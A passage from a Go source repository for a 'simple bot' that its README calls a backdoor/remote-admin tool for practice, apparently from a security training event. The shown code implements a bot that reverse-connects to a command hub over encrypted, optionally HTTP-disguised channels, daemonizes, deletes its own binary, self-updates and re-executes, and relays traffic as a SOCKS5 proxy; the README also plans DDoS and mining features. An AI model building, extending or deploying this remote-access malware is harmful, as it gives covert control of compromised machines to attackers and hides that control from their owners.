c.Info.Set("ModelName", value) 52 | case "flags": 53 | flist := strings.FieldsFunc(value, func(r rune) bool { 54 | return r == ',' || r == ' ' 55 | }) 56 | c.Info.Set("flags", strings.Join(flist, ",")) 57 | 58 | 59 | case "vendorId", "vendor_id", "Processor": // x86, x86, arm 60 | // ARM : ARMv7 Processor rev 1 (v7l) 61 | c.Info.Set("VendorID", value) 62 | } 63 | } 64 | } 65 | 66 | func main() { 67 | 68 | base.RegInit(initBot) 69 | 70 | c := base.NewClientM() 71 | c.UUID = kit.HashBytes256([]byte("AIS3 TEST BOT")) 72 | // c.AgentTag = "AIS3 TEST BOT" 73 | // c.HubKeyTag = "HELLO" 74 | c.HubPubKey = hubPubKey 75 | c.Daemon = false 76 | c.AutoClean = true 77 | c.Info.Set("AIS3", "test shell XD") 78 | // c.Info.Set("AIS3-2", "test2") 79 | 80 | c.Proc = proc 81 | 82 | if fakeHttp { 83 | mkFn := func(addr string) (*fakehttp.Client) { 84 | var cl *fakehttp.Client 85 | if tls { 86 | cl = fakehttp.NewTLSClient(addr, nil, true) 87 | } else { 88 | cl = fakehttp.NewClient(addr) 89 | } 90 | cl.TokenCookieA = tokenCookieA 91 | cl.TokenCookieB = tokenCookieB 92 | cl.TokenCookieC = tokenCookieC 93 | cl.UseWs = wsObf 94 | cl.UserAgent = userAgent 95 | cl.Url = targetUrl 96 | return cl 97 | } 98 | c.Dial = func(addr string) (net.Conn, error) { 99 | cl := mkFn(addr) 100 | // cl.Host = addr 101 | return cl.Dial() 102 | } 103 | } 104 | 105 | c.Start(hubAddr) 106 | 107 | } 108 | 109 | 110 | -------------------------------------------------------------------------------- /lib/base/client_op_extra.go: -------------------------------------------------------------------------------- 1 | // +build extra all 2 | 3 | package base 4 | 5 | import ( 6 | "net" 7 | // "io" 8 | "os" 9 | "os/exec" 10 | "syscall" 11 | // "sync" 12 | // "time" 13 | // "runtime" 14 | "bytes" 15 | "io/ioutil" 16 | 17 | kit "local/toolkit" 18 | "lib/smux" 19 | "lib/godaemon" 20 | ) 21 | 22 | func init() { 23 | RegOps(B_dodaemon, ccX) 24 | RegOps(B_apoptosis, ccX) 25 | RegOps(B_rebirth, ccX) 26 | RegOps(B_evolution, ccX) 27 | 28 | RegInit(extraInit) 29 | } 30 | 31 | var extraInit = func(c *Client) { 32 | loadSelf(c) 33 | 34 | if c.Daemon { 35 | godaemon.MakeDaemon(&godaemon.DaemonAttr{}) 36 | 37 | if c.AutoClean { 38 | cleanSelf() 39 | } 40 | } 41 | } 42 | 43 | var ccX = func (op string, p1 net.Conn, c *Client, mux *smux.Session) { 44 | switch op { 45 | case B_reconn: 46 | mux.Close() 47 | 48 | case B_kill: 49 | os.Exit(0) 50 | 51 | case B_dodaemon: 52 | godaemon.MakeDaemon(&godaemon.DaemonAttr{}) 53 | 54 | case B_apoptosis: 55 | cleanSelf() 56 | 57 | case B_evolution: 58 | fhb, err := kit.ReadVTagByte(p1) 59 | if err != nil { 60 | //fmt.Println("[evolution][err]fhb", err) 61 | break 62 | } 63 | 64 | fb, err := kit.ReadVTagByte(p1) 65 | if err != nil { 66 | //fmt.Println("[evolution][err]fb", err) 67 | break 68 | } 69 | 70 | checkb := kit.HashBytes256(fb) 71 | //fmt.Println("[evolution]", len(fb), kit.Hex(checkb), kit.Hex(fhb)) 72 | if !bytes.Equal(checkb, fhb) { 73 | //fmt.Println("[evolution][err]!bytes.Equal", kit.Hex(checkb), kit.Hex(fhb)) 74 | break 75 | } 76 | 77 | c.binMx.Lock() 78 | c.selfbyte1 = c.selfbyte 79 | c.selfhex1 = c.selfhex 80 | c.selfbyte = fb 81 | c.selfhex = fhb 82 | c.binMx.Unlock() 83 | fallthrough 84 | 85 | case B_rebirth: 86 | dumpSelf(c) 87 | } 88 | } 89 | 90 | var cleanSelf = func () { 91 | name, err := kit.GetSelf() 92 | if err != nil { 93 | return 94 | } 95 | os.Remove(name) 96 | } 97 | 98 | var loadSelf = func (c *Client) { 99 | fd, err := os.OpenFile("/proc/self/exe", os.O_RDONLY, 0400) 100 | if err != nil { 101 | //fmt.Println("[err]os.OpenFile", err) 102 | return 103 | } 104 | defer fd.Close() 105 | 106 | b, err := ioutil.ReadAll(fd) 107 | if err != nil { 108 | c.selfbyte = nil 109 | return 110 | } 111 | 112 | c.binMx.Lock() 113 | c.selfhex = kit.HashBytes256(b) 114 | c.selfbyte = b 115 | c.binMx.Unlock() 116 | } 117 | 118 | var dumpSelf = func (c *Client) { 119 | ofd, ofp, err := kit.TryWX() 120 | if err != nil { 121 | //fmt.Println("[err]TryWX()", err) 122 | return 123 | } 124 | 125 | c.binMx.Lock() 126 | defer c.binMx.Unlock() 127 | if c.selfbyte == nil { 128 | return 129 | } 130 | 131 | ofd.Write(c.selfbyte) 132 | ofd.Sync() 133 | ofd.Close() 134 | 135 | pl := exec.Command(ofp, os.Args[1:]...) 136 | pl.SysProcAttr = &syscall.SysProcAttr{ 137 | Setpgid: true, 138 | // Noctty: true, 139 | } 140 | err = pl.Start() 141 | 142 | // TODO: fallback 143 | if err != nil { 144 | //fmt.Println("[err]pl.Start()", err) 145 | c.selfbyte = c.selfbyte1 146 | c.selfhex = c.selfhex1 147 | c.selfbyte1 = nil 148 | c.selfhex1 = nil 149 | return 150 | } 151 | pl.Process.Release() 152 | os.Exit(0) 153 | } 154 | 155 | -------------------------------------------------------------------------------- /lib/smux/mux.go: -------------------------------------------------------------------------------- 1 | package smux 2 | 3 | import ( 4 | "io" 5 | "time" 6 | 7 | "errors" 8 | ) 9 | 10 | // Config is used to tune the Smux session 11 | type Config struct { 12 | // KeepAliveInterval is how often to send a NOP command to the remote 13 | KeepAliveInterval time.Duration 14 | 15 | // KeepAliveIntervalMax is how often to send a NOP command to the remote 16 | KeepAliveIntervalMax time.Duration 17 | 18 | // KeepAliveTimeout is how long the session 19 | // will be closed if cmdNOP send and no data has arrived 20 | KeepAliveTimeout time.Duration 21 | 22 | // MaxFrameSize is used to control the maximum 23 | // frame size to sent to the remote 24 | MaxFrameSize int 25 | 26 | // MaxReceiveBuffer is used to control the maximum 27 | // number of data in the buffer pool 28 | MaxReceiveBuffer int 29 | 30 | // Enable Stream buffer 31 | EnableStreamBuffer bool 32 | 33 | // maximum bytes that each Stream can use 34 | MaxStreamBuffer int 35 | 36 | // for initial boost 37 | BoostTimeout time.Duration 38 | } 39 | 40 | // DefaultConfig is used to return a default configuration 41 | func DefaultConfig() *Config { 42 | return &Config{ 43 | KeepAliveInterval: 20 * time.Second, 44 | KeepAliveIntervalMax: 30 * time.Second, 45 | KeepAliveTimeout: 5500 * time.Millisecond, // RTT usually < 5500ms 46 | MaxFrameSize: 4096, 47 | MaxReceiveBuffer: 16 * 1024 * 1024, 48 | EnableStreamBuffer: true, 49 | MaxStreamBuffer: 1024 * 1024, 50 | BoostTimeout: 10 * time.Second, 51 | } 52 | } 53 | 54 | // VerifyConfig is used to verify the sanity of configuration 55 | func VerifyConfig(config *Config) error { 56 | if config.KeepAliveInterval == 0 { 57 | return errors.New("keep-alive interval must be positive") 58 | } 59 | if config.KeepAliveIntervalMax < config.KeepAliveInterval { 60 | return errors.New("KeepAliveIntervalMax < KeepAliveInterval") 61 | } 62 | if config.KeepAliveInterval <= config.KeepAliveTimeout { 63 | return errors.New("KeepAliveInterval <= KeepAliveTimeout") 64 | } 65 | if config.MaxFrameSize <= 0 { 66 | return errors.New("max frame size must be positive") 67 | } 68 | if config.MaxFrameSize > 65535 { 69 | return errors.New("max frame size must not be larger than 65535") 70 | } 71 | if config.MaxReceiveBuffer <= 0 { 72 | return errors.New("max receive buffer must be positive") 73 | } 74 | if config.MaxStreamBuffer <= 0 { 75 | return errors.New("max stream receive buffer must be positive") 76 | } 77 | return nil 78 | } 79 | 80 | // Server is used to initialize a new server-side connection. 81 | func Server(conn io.ReadWriteCloser, config *Config) (*Session, error) { 82 | if config == nil { 83 | config = DefaultConfig() 84 | } 85 | if err := VerifyConfig(config); err != nil { 86 | return nil, err 87 | } 88 | return newSession(config, conn, false), nil 89 | } 90 | 91 | // Client is used to initialize a new client-side connection. 92 | func Client(conn io.ReadWriteCloser, config *Config) (*Session, error) { 93 | if config == nil { 94 | config = DefaultConfig() 95 | } 96 | 97 | if err := VerifyConfig(config); err != nil { 98 | return nil, err 99 | } 100 | return newSession(config, conn, true), nil 101 | } 102 | -------------------------------------------------------------------------------- /lib/fakehttp/tools.go: -------------------------------------------------------------------------------- 1 | package fakehttp 2 | 3 | import ( 4 | "bytes" 5 | "math/rand" 6 | "net" 7 | "io" 8 | "log" 9 | "time" 10 | ) 11 | 12 | const verbosity int = 0 13 | 14 | type Conn struct { 15 | R io.ReadCloser 16 | W net.Conn //io.WriteCloser 17 | } 18 | func (c Conn) Read(data []byte) (n int, err error) { return c.R.Read(data) } 19 | func (c Conn) Write(data []byte) (n int, err error) { return c.W.Write(data) } 20 | 21 | func (c Conn) Close() error { 22 | if err := c.W.Close(); err != nil { 23 | return err 24 | } 25 | if err := c.R.Close(); err != nil { 26 | return err 27 | } 28 | return nil 29 | } 30 | 31 | func (c Conn) LocalAddr() net.Addr { 32 | if ts, ok := c.W.(interface { 33 | LocalAddr() net.Addr 34 | }); ok { 35 | return ts.LocalAddr() 36 | } 37 | return nil 38 | } 39 | 40 | func (c Conn) RemoteAddr() net.Addr { 41 | if ts, ok := c.W.(interface { 42 | RemoteAddr() net.Addr 43 | }); ok { 44 | return ts.RemoteAddr() 45 | } 46 | return nil 47 | } 48 | 49 | func (c Conn) SetReadDeadline(t time.Time) error { 50 | return nil 51 | } 52 | 53 | func (c Conn) SetWriteDeadline(t time.Time) error { 54 | return c.W.SetWriteDeadline(t) 55 | } 56 | 57 | func (c Conn) SetDeadline(t time.Time) error { 58 | if err := c.SetReadDeadline(t); err != nil { 59 | return err 60 | } 61 | if err := c.SetWriteDeadline(t); err != nil { 62 | return err 63 | } 64 | return nil 65 | } 66 | 67 | type CloseableReader struct { 68 | io.Reader 69 | r0 io.ReadCloser 70 | } 71 | func (c CloseableReader) Close() error { 72 | return c.r0.Close() 73 | } 74 | 75 | func mkconn(p1 net.Conn, p2 net.Conn, rbuf []byte) (net.Conn){ 76 | rem := bytes.NewReader(rbuf) 77 | r := io.MultiReader(rem, p1) 78 | rc := CloseableReader{ r, p1 } 79 | 80 | pipe := Conn { 81 | R: rc, 82 | W: p2, 83 | } 84 | return pipe 85 | } 86 | 87 | type ConnAddr struct { 88 | net.Conn //io.WriteCloser 89 | Addr string 90 | } 91 | func (c *ConnAddr) RemoteAddr() net.Addr { 92 | return (*StrAddr)(c) 93 | } 94 | 95 | type StrAddr ConnAddr 96 | func (c *StrAddr) Network() string { 97 | return c.Conn.RemoteAddr().Network() 98 | } 99 | func (c *StrAddr) String() string { 100 | if c == nil { 101 | return "" 102 | } 103 | if c.Addr == "" { 104 | return c.Conn.RemoteAddr().String() 105 | } 106 | return c.Addr 107 | } 108 | 109 | func mkConnAddr(p1 net.Conn, address string) (net.Conn) { 110 | if address != "" { 111 | conn := &ConnAddr{ 112 | Conn: p1, 113 | Addr: address, 114 | } 115 | return conn 116 | } 117 | return p1 118 | } 119 | 120 | const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/-_" 121 | func randStringBytes(n int) string { 122 | b := make([]byte, n) 123 | for i := range b { 124 | b[i] = letterBytes[rand.Intn(len(letterBytes))] 125 | } 126 | return string(b) 127 | } 128 | 129 | func Vlogf(level int, format string, v ...interface{}) { 130 | if level <= verbosity { 131 | log.Printf(format, v...) 132 | } 133 | } 134 | func Vlog(level int, v ...interface{}) { 135 | if level <= verbosity { 136 | log.Print(v...) 137 | } 138 | } 139 | func Vlogln(level int, v ...interface{}) { 140 | if level <= verbosity { 141 | log.Println(v...) 142 | } 143 | } 144 | 145 | 146 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # simple bot 2 | a simple backdoor/remote-admin-tool for practice. It's been written in GO to easy cross-compiling static binary for different architectures and OSes. 3 | 4 | ## Features 5 | * [x] reverse connect 6 | * [x] encrypted connection 7 | * [x] built-in TCP multiplexing 8 | * [x] socks5 Proxy (cmd 'CONNECT' only) 9 | * [x] shell 10 | * [ ] file operations 11 | * [ ] self update 12 | * [ ] downloader 13 | * [ ] task, schedule 14 | * [ ] Dos, DDoS 15 | * [ ] miner 16 | * [x] connection in simple tcp 17 | * [ ] hide connection in http/https/ws 18 | * [ ] run in P2P mode 19 | 20 | ## bot/client 21 | 22 | ### key 23 | 24 | * RSA Pub * 1 for connect to hub 25 | 26 | ### ops 27 | 28 | * basic: 29 | * `info`: pull info 30 | * `csh`: shell 31 | * `fastN`: socks 32 | * `reconn`: re-connect 33 | * `kill`: self-exit 34 | * mod: 35 | * `ppend`: send `SIGTERM` (15) to parent process 36 | * `ppkill`: send `SIGKILL` (9) to parent process 37 | * `psig`: send signal to process 38 | * extra: some are buggy 39 | * [x] `dodaemon`: daemonize 40 | * [?] `apoptosis`: remove self's binary without exit 41 | * [?] `rebirth`: put self's binary back and re-start 42 | * [?] `evolution`: self-update, pull binary and re-start itself 43 | * fs: file operations 44 | * [ ] `fs`: top op code 45 | * `get`: read file to stream 46 | * `push`: save stream to file 47 | * `del`: delete file/directory 48 | * `call`: execute file 49 | * `mv`: rename/move 50 | * `mkdir`: make directory 51 | * task: for tasks/jobs/schedules 52 | * [ ] `task`: top op code 53 | * [ ] `add`: 54 | * [ ] `del`: 55 | * [ ] `start`: 56 | * [ ] `stop`: 57 | * [ ] `ls`: 58 | 59 | ### build 60 | 61 | only enable basic op: `go build -ldflags='-s -w' -tags="" bot.go` 62 | 63 | enable `mod` and `extra` op: `go build -ldflags='-s -w' -tags="extra mod" bot.go` 64 | 65 | enable all op: `go build -ldflags='-s -w' -tags="all" bot.go` 66 | 67 | 68 | 69 | ## hub server 70 | 71 | A server run with public IP that can be connected. 72 | 73 | ### functions to add 74 | 75 | * [ ] auto pull bot info 76 | * [ ] push binary for update old version bot 77 | * [ ] push tasks/woks for bot to run 78 | * [ ] statistics for IP, uptime, bandwidth...etc. 79 | 80 | ### key 81 | 82 | * RSA Priv * n for bot 83 | * ECDSA Pub * n to check authorized admin 84 | 85 | ### build 86 | 87 | ``` 88 | go build hub.go share.go 89 | ``` 90 | 91 | 92 | ## admin tool 93 | 94 | A simple CLI tool to operate bots via hub. 95 | 96 | ### commands 97 | 98 | * bot 99 | * ls [id | addr | time | rtt] : list all bot on hub by ... 100 | * kill 101 | * reconn 102 | * local 103 | * ls : list local side server 104 | * bind $bot_id $bind_addr $mode $argv... : bind server (eg. socks5) on local side 105 | * stop $bind_addr 106 | 107 | 108 | ### key 109 | 110 | * RSA Pub * 1 for connect to hub, same as bot 111 | * ECDSA Priv * 1 for hub to check authorized 112 | 113 | 114 | ### build 115 | 116 | ``` 117 | go build admin.go share.go 118 | ``` 119 | 120 | ## `proxys.go` 121 | [WIP] socks5 proxy server for auto switch between bots use round-robin. 122 | With web API/UI for user operate, plan to replace admin tool. 123 | 124 | ### planning features 125 | 126 | * [x] socks5 proxy server with auto switch between all bots in a hub 127 | * [ ] select single/multiple bots for proxy auto switch 128 | * [ ] multiple hub connection 129 | * [x] list all bots on hub 130 | * [ ] select single/multiple bots for operate 131 | 132 | 133 | ## other tools 134 | 135 | * `genkeys.go` : RSA & ECDSA keys generator 136 | 137 | 138 | -------------------------------------------------------------------------------- /lib/streamcoder/streamcoder.go: -------------------------------------------------------------------------------- 1 | package streamcoder 2 | 3 | import ( 4 | "crypto/sha256" 5 | "crypto/sha512" 6 | // "io" 7 | "net" 8 | "time" 9 | chacha "lib/chacha20" 10 | ) 11 | 12 | type Coder struct { 13 | In net.Conn //io.ReadWriteCloser 14 | enc *chacha.Cipher 15 | dec *chacha.Cipher 16 | nonce []byte 17 | dir bool 18 | } 19 | 20 | func (c *Coder) Close() error { 21 | if err := c.In.Close(); err != nil { 22 | return err 23 | } 24 | return nil 25 | } 26 | 27 | func (c *Coder) Read(data []byte) (n int, err error) { 28 | n, err = c.In.Read(data) 29 | if n > 0 { 30 | c.dec.XORKeyStream(data[0:n], data[0:n]) 31 | } 32 | return n, err 33 | } 34 | 35 | func (c *Coder) Write(data []byte) (n int, err error) { 36 | c.enc.XORKeyStream(data[:], data[:]) 37 | return c.In.Write(data) 38 | } 39 | 40 | // LocalAddr satisfies net.Conn interface 41 | func (c *Coder) LocalAddr() net.Addr { 42 | if ts, ok := c.In.(interface { 43 | LocalAddr() net.Addr 44 | }); ok { 45 | return ts.LocalAddr() 46 | } 47 | return nil 48 | } 49 | 50 | // RemoteAddr satisfies net.Conn interface 51 | func (c *Coder) RemoteAddr() net.Addr { 52 | if ts, ok := c.In.(interface { 53 | RemoteAddr() net.Addr 54 | }); ok { 55 | return ts.RemoteAddr() 56 | } 57 | return nil 58 | } 59 | 60 | func (c *Coder) SetReadDeadline(t time.Time) error { 61 | return c.In.SetReadDeadline(t) 62 | } 63 | 64 | func (c *Coder) SetWriteDeadline(t time.Time) error { 65 | return c.In.SetWriteDeadline(t) 66 | } 67 | 68 | func (c *Coder) SetDeadline(t time.Time) error { 69 | if err := c.SetReadDeadline(t); err != nil { 70 | return err 71 | } 72 | if err := c.SetWriteDeadline(t); err != nil { 73 | return err 74 | } 75 | return nil 76 | } 77 | 78 | func (c *Coder) ReKey(key []byte) (err error) { 79 | shah := sha512.New() 80 | shah.Write(key) 81 | key = shah.Sum([]byte("")) 82 | 83 | key = key[0:64] 84 | 85 | var encKey []byte 86 | var decKey []byte 87 | var encNonce []byte 88 | var decNonce []byte 89 | if c.dir { 90 | encKey = key[0:32] 91 | encNonce = c.nonce[0:12] 92 | decKey = key[32:64] 93 | decNonce = c.nonce[12:24] 94 | } else { 95 | encKey = key[32:64] 96 | encNonce = c.nonce[12:24] 97 | decKey = key[0:32] 98 | decNonce = c.nonce[0:12] 99 | } 100 | 101 | c.enc.ReKey(encKey, encNonce) 102 | if err != nil { 103 | return err 104 | } 105 | c.dec.ReKey(decKey, decNonce) 106 | if err != nil { 107 | return err 108 | } 109 | return nil 110 | } 111 | 112 | // key = 32 bytes x 2 113 | // nonce = 12 bytes x 2 114 | func NewCoder(con net.Conn, key []byte, nonce []byte, isClient bool) (c *Coder, err error) { 115 | c = &Coder{ 116 | dir: isClient, 117 | nonce: nonce, 118 | } 119 | c.In = con 120 | 121 | key = key[0:64] 122 | nonce = nonce[0:24] 123 | 124 | var encKey []byte 125 | var decKey []byte 126 | var encNonce []byte 127 | var decNonce []byte 128 | if isClient { 129 | encKey = key[0:32] 130 | encNonce = nonce[0:12] 131 | decKey = key[32:64] 132 | decNonce = nonce[12:24] 133 | } else { 134 | encKey = key[32:64] 135 | encNonce = nonce[12:24] 136 | decKey = key[0:32] 137 | decNonce = nonce[0:12] 138 | } 139 | 140 | c.enc, err = chacha.NewCipher(encKey, encNonce) 141 | if err != nil { 142 | return nil, err 143 | } 144 | c.dec, err = chacha.NewCipher(decKey, decNonce) 145 | if err != nil { 146 | return nil, err 147 | } 148 | 149 | return c, nil 150 | } 151 | 152 | func NewKeyNonce(key []byte, cnonce []byte, snonce []byte) (outKey, outNonce []byte) { 153 | shah := sha512.New() 154 | shah.Write(key) 155 | outKey = shah.Sum([]byte("")) 156 | 157 | shah = sha256.New() 158 | shah.Write(append(cnonce, snonce...)) 159 | outNonce = shah.Sum([]byte("")) 160 | 161 | return 162 | } 163 | 164 | 165 | -------------------------------------------------------------------------------- /lib/base/admin.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | import ( 4 | "net" 5 | 6 | "crypto/rand" 7 | "errors" 8 | 9 | kit "local/toolkit" 10 | "local/streamcoder" 11 | "lib/smux" 12 | ) 13 | 14 | var ErrReturn = errors.New("Error Return Code") 15 | 16 | type Auth struct { 17 | AgentTag string 18 | HubPubKey []byte 19 | HubKeyTag string 20 | Private_ECDSA []byte 21 | Public_ECDSA []byte 22 | 23 | Sess *smux.Session 24 | Raw net.Conn 25 | } 26 | 27 | func NewAuth() (*Auth) { 28 | return &Auth{ 29 | AgentTag: adminAgentTag, 30 | HubKeyTag: initKeyTag, 31 | } 32 | } 33 | 34 | /*func (a *Auth) CreateConn(hubAddr string) (*smux.Session, error) { 35 | conn, err := net.Dial("tcp", hubAddr) 36 | if err != nil { 37 | return nil, errors.New("createConn():" + err.Error()) 38 | } 39 | 40 | return a.InitConn(conn) 41 | }*/ 42 | 43 | func (a *Auth) InitConn(conn net.Conn) (*smux.Session, error) { 44 | var err error 45 | 46 | // do handshake 47 | encKey := make([]byte, 88, 88) 48 | rand.Read(encKey) 49 | 50 | publicKey, _ := kit.ParseRSAPub(a.HubPubKey) 51 | ciphertext, err := kit.EncRSA(publicKey, encKey) 52 | if err != nil { 53 | return nil, errors.New("RSA encode err:" + err.Error()) 54 | } 55 | 56 | kit.WriteTagStr(conn, a.HubKeyTag) 57 | conn.Write(ciphertext) 58 | 59 | // do encode 60 | // key = 32 bytes x 2 61 | // nonce = 12 bytes x 2 62 | enccon, _ := streamcoder.NewCoder(conn, encKey[0:64], encKey[64:88], true) 63 | 64 | // read nonce && rekey 65 | nonce, err := kit.ReadTagByte(enccon) 66 | if err != nil { 67 | return nil, errors.New("Read nonce err:" + err.Error()) 68 | } 69 | pass := append(encKey[0:64], nonce...) 70 | enccon.ReKey(pass) 71 | 72 | // send agent 73 | kit.WriteTagStr(enccon, a.AgentTag) 74 | 75 | // signature & send 76 | hashed := kit.HashBytes256(pass) 77 | signature, _ := kit.SignECDSA(a.Private_ECDSA, hashed) 78 | kit.WriteTagByte(enccon, signature) 79 | 80 | // ACK 81 | ack, err := kit.ReadTagStr(enccon) 82 | if err != nil && ack != a.AgentTag { 83 | return nil, errors.New("Read ACK err:" + err.Error()) 84 | } 85 | //Vln(5, "ack = ", ack, ack == a.AgentTag) 86 | 87 | // stream multiplex 88 | smuxConfig := smux.DefaultConfig() 89 | session, err := smux.Client(enccon, smuxConfig) 90 | if err != nil { 91 | return nil, errors.New("createConn():" + err.Error()) 92 | } 93 | a.Sess = session 94 | a.Raw = conn 95 | Vln(2, "connect to:", conn.RemoteAddr()) 96 | 97 | return session, nil 98 | } 99 | 100 | func (a *Auth) GetConn(op string) (conn net.Conn, err error) { 101 | conn, err = a.Sess.OpenStream() 102 | if err != nil { 103 | return nil, err 104 | } 105 | kit.WriteTagStr(conn, op) 106 | return 107 | } 108 | 109 | func (a *Auth) GetConn2Hub(id string, op string) (p1 net.Conn, err error) { 110 | // select client @ hub 111 | p1, err = a.GetConn(op) 112 | if err != nil { 113 | return 114 | } 115 | kit.WriteTagStr(p1, id) 116 | 117 | // return code 118 | ret64, err := kit.ReadVLen(p1) 119 | if err != nil { 120 | //Vln(2, "[local]net err", err) 121 | return 122 | } 123 | 124 | ret := int(ret64) 125 | if ret != 0 { 126 | //Vln(2, "[local]select err", ret) 127 | err = ErrReturn 128 | } 129 | return 130 | } 131 | 132 | func (a *Auth) GetConn2Client(id string, op string) (p1 net.Conn, err error) { 133 | // select client @ hub 134 | p1, err = a.GetConn(H_select) 135 | if err != nil { 136 | return 137 | } 138 | kit.WriteTagStr(p1, id) 139 | 140 | // op to client 141 | kit.WriteTagStr(p1, op) 142 | 143 | // return code 144 | ret64, err := kit.ReadVLen(p1) 145 | if err != nil { 146 | //Vln(2, "[local]net err", err) 147 | return 148 | } 149 | 150 | ret := int(ret64) 151 | if ret != 0 { 152 | //Vln(2, "[local]select err", ret) 153 | err = ErrReturn 154 | } 155 | return 156 | } 157 | 158 | 159 | -------------------------------------------------------------------------------- /lib/godaemon/README.md: -------------------------------------------------------------------------------- 1 | godaemon 2 | ======== 3 | 4 | Daemonize Go applications with `exec()` instead of `fork()`. Read our [blog post](https://vividcortex.com/blog/2013/08/27/godaemon-a-library-to-daemonize-go-apps/) on the subject. 5 | 6 | You can't daemonize the usual way in Go. Daemonizing is a Unix concept that requires 7 | some [specific things](http://goo.gl/vTUsVy) you can't do 8 | easily in Go. But you can still accomplish the same goals 9 | if you don't mind that your program will start copies of itself 10 | several times, as opposed to using `fork()` the way many programmers are accustomed to doing. 11 | 12 | It is somewhat controversial whether it's even a good idea to make programs daemonize themselves, 13 | or how to do it correctly (and whether it's even possible to do correctly in Go). 14 | Read [here](https://code.google.com/p/go/issues/detail?id=227), 15 | [here](http://www.ryanday.net/2012/09/04/the-problem-with-a-golang-daemon/), 16 | and [here](http://stackoverflow.com/questions/14537045/how-i-should-run-my-golang-process-in-background) 17 | for more on this topic. However, at [VividCortex](https://vividcortex.com/) we do need to run one of our processes as a 18 | daemon with the usual attributes of a daemon, and we chose the approach implemented in this package. 19 | 20 | Because of the factors mentioned in the first link just given, you should take great care when 21 | using this package's approach. It works for us, because we don't do anything like starting up 22 | goroutines in our `init()` functions, or other things that are perfectly legal in Go in general. 23 | 24 | ## Getting Started 25 | 26 | View the [package documentation](http://godoc.org/github.com/VividCortex/godaemon) 27 | for details about how it works. Briefly, to make your program into a daemon, 28 | do the following as soon as possible in your `main()` function: 29 | 30 | ```go 31 | import ( 32 | "github.com/VividCortex/godaemon" 33 | ) 34 | 35 | func main() { 36 | godaemon.MakeDaemon(&godaemon.DaemonAttr{}) 37 | } 38 | ``` 39 | 40 | Use the `CaptureOutput` attribute if you need to capture your program's 41 | standard output and standard error streams. In that case, the function returns 42 | two valid readers (`io.Reader`) that you can read from the program itself. 43 | That's particularly useful for functions that write error or diagnosis messages 44 | right to the error output, which are normally lost in a daemon. 45 | 46 | Use the `Files` attribute if you need to inherit open files into the daemon. 47 | This is primarily intended for avoiding race conditions when holding locks on 48 | those files (flocks). Releasing and re-acquiring locks between successive fork 49 | calls opens up the chance for another program to steal the lock. However, by 50 | declaring your file descriptors in the `Files` attribute, `MakeDaemon()` will 51 | guarantee that locks are not released throughout the whole process. Your daemon 52 | will inherit the file still holding the same locks, with no other process having 53 | intervened in between. See the 54 | [package documentation](http://godoc.org/github.com/VividCortex/godaemon) for 55 | more details and sample code. (Note that you shouldn't use this feature to 56 | inherit TTY descriptors; otherwise what you get is technically not a daemon.) 57 | 58 | 59 | ## Contribute 60 | 61 | Contributions are welcome. Please open pull requests or issue reports! 62 | 63 | 64 | ## License 65 | 66 | This repository is Copyright (c) 2013 VividCortex, Inc. All rights reserved. 67 | It is licensed under the MIT license. Please see the LICENSE file for applicable 68 | license terms. 69 | 70 | ## Authors 71 | 72 | The primary author is [Gustavo Kristic](https://github.com/gkristic), with some 73 | documentation and other minor contributions by others at VividCortex. 74 | 75 | ## History 76 | 77 | An earlier version of this concept with a slightly different interface was 78 | developed internally at VividCortex. 79 | 80 | ## Cats 81 | 82 | A Go Daemon is a good thing, and so we present an angelic cat picture: 83 | 84 | ![Angelic Cat](http://f.cl.ly/items/2b0y0n3W2W1H0S1K3g0g/angelic-cat.jpg) 85 | -------------------------------------------------------------------------------- /lib/base/share.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | import ( 4 | "net" 5 | "strconv" 6 | "time" 7 | 8 | kit "local/toolkit" 9 | 10 | // "fmt" 11 | "log" 12 | ) 13 | 14 | const verbosity = 0 15 | 16 | func Vf(level int, format string, v ...interface{}) { 17 | if level <= verbosity { 18 | log.Printf(format, v...) 19 | } 20 | } 21 | func V(level int, v ...interface{}) { 22 | if level <= verbosity { 23 | log.Print(v...) 24 | } 25 | } 26 | func Vln(level int, v ...interface{}) { 27 | if level <= verbosity { 28 | log.Println(v...) 29 | } 30 | } 31 | 32 | var s5ReplyAndClose = func (p1 net.Conn, rpy int) { 33 | p1.Write([]byte{0x05, byte(rpy), 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) 34 | p1.Close() 35 | } 36 | 37 | var handleFastS = func (p1 net.Conn) { 38 | var b [320]byte 39 | n, err := p1.Read(b[:]) 40 | if err != nil { 41 | //Vln(1, "[fast client read]", p1, err) 42 | return 43 | } 44 | // b[0:2] // ignore 45 | 46 | var host, port, backend string 47 | switch b[3] { 48 | case 0x01: //IP V4 49 | host = net.IPv4(b[4], b[5], b[6], b[7]).String() 50 | case 0x03: //DOMAINNAME 51 | host = string(b[5 : n-2]) //b[4] domain name length 52 | case 0x04: //IP V6 53 | host = net.IP{b[4], b[5], b[6], b[7], b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15], b[16], b[17], b[18], b[19]}.String() 54 | case 0x05: //DOMAINNAME + PORT 55 | backend = string(b[4 : n]) 56 | goto CONN 57 | default: 58 | s5ReplyAndClose(p1, 0x08) // X'08' Address type not supported 59 | return 60 | } 61 | port = strconv.Itoa(int(b[n-2])<<8 | int(b[n-1])) 62 | backend = net.JoinHostPort(host, port) 63 | 64 | CONN: 65 | p2, err := net.DialTimeout("tcp", backend, 10*time.Second) 66 | if err != nil { 67 | //Vln(2, "[err]", backend, err) 68 | 69 | switch t := err.(type) { 70 | case *net.AddrError: 71 | s5ReplyAndClose(p1, 0x03) // X'03' Network unreachable 72 | 73 | case *net.OpError: 74 | if t.Timeout() { 75 | s5ReplyAndClose(p1, 0x06) // X'06' TTL expired 76 | } else if t.Op == "dial" { 77 | s5ReplyAndClose(p1, 0x05) // X'05' Connection refused 78 | } 79 | 80 | default: 81 | //s5ReplyAndClose(p1, 0x03) // X'03' Network unreachable 82 | //s5ReplyAndClose(p1, 0x04) // X'04' Host unreachable 83 | s5ReplyAndClose(p1, 0x05) // X'05' Connection refused 84 | //s5ReplyAndClose(p1, 0x06) // X'06' TTL expired 85 | } 86 | return 87 | } 88 | defer p2.Close() 89 | 90 | //Vln(3, "[got]", backend) 91 | reply := []byte{0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} 92 | p1.Write(reply) // reply OK 93 